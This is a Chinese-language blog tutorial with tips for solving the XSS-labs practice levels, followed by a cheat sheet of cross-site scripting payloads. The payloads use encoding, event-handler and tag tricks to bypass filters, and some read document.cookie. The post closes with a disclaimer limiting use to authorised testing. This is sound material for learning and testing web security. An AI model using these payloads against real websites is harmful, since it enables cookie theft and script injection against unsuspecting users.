XSS

教程

Posted by 白泽 on October 27, 2024

XSS-labs通关技巧

  1. GET 参数连接<script>alert()</script>
  2. 根据源代码闭合标签 <'""'>
  3. onlick=alert()
  4. ` onfocus=javascript:alert() onfoucus=alert(0) `
  5. <>-str_replace
  6. 大小写-strtolower
  7. Unicode编码
  8. a href=javascript:alert()
  9. 双写
  10. <img src= onerror=alert()> img src= onmouseover=alert()> img src= onmouseout=alert()>
  11. 以下为隐藏传参
  12. 隐藏输入框
  13. 修改referer头
  14. 修改User-Agen
  15. 修改cookie
  16. 嵌入网站,触发xss
  17. ng-include:'level1.php'
  18. %0a与%0b-空格绕过
  19. <iframe src="javascript:alert(1)"></iframe>
  20. exif xss使用图片马
  21. embed拼接加绕过
  22. //注释

总结

  1. htmlspecialchars将预定义的字符数转义为HTML实体,详细为& ` “” < >`注意单引号不转义

  2. javascript:alert()使用JAVA的伪协议

  3. strtolower大小写

  4. str_replace替换

  5. ng-include指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。

    ng-include属性的值可以是一个表达式,返回一个文件名。

    默认情况下,包含的文件需要包含在同一个域名下

<script>alert(document.cookie)</script>
<script>prompt(document.cookie)</script>
<script>confirm(/xss/)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>       //Unicode码  还有十六进制 URL编码 JS编码 HTML实体编码等等
<script>alert/*dsa*/(1)</script>   //绕过黑名单
<script>(alert)(1)</script>        //绕过黑名单
<svg/onload=alert(1)>
<body onload=alert("XSS")>

<svg onload="alert(1)">       //过滤 script时
"><svg/onload=alert(1)//

<input value="1" autofocus onfocus=alert(1)  x="">   //过滤 script时

<a href="" onclick="alert(1111)">

<iframe src="javascript:alert(1)"></iframe>      //过滤 script时

<svg onmousemove="alert(1)">

<input name="name" value=”” onmousemove=prompt(document.cookie) >

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

<input type = "button"  value ="clickme" onclick="alert('click me')" />

<BODY onload="alert('XSS')">

<IMG SRC="" onerror="alert('XSS')">
<IMG SRC="" onerror="javascript:alert('XSS');">

制表符 绕过滤器的
<IMG SRC="" onerror="jav&#x9ascript:alert('XSS');">
1.<iframe src=javascript:alert(1)></iframe> //Tab
2.<iframe src=javascript:alert(1)></iframe> //回车
3.<iframe src=javascript:alert(1)></iframe> //换行
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javascript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object>

"><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">

<script>onerror=alert;throw document.cookie</script>
<script>{onerror=alert}throw 1337</script>         //过滤 单引号,双引号,小括号时   没过滤script

<a href="" onclick="alert(1111)">
' οnclick=alert(1111) '   //鼠标点击事件执行JavaScript语句

本文章声明:分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果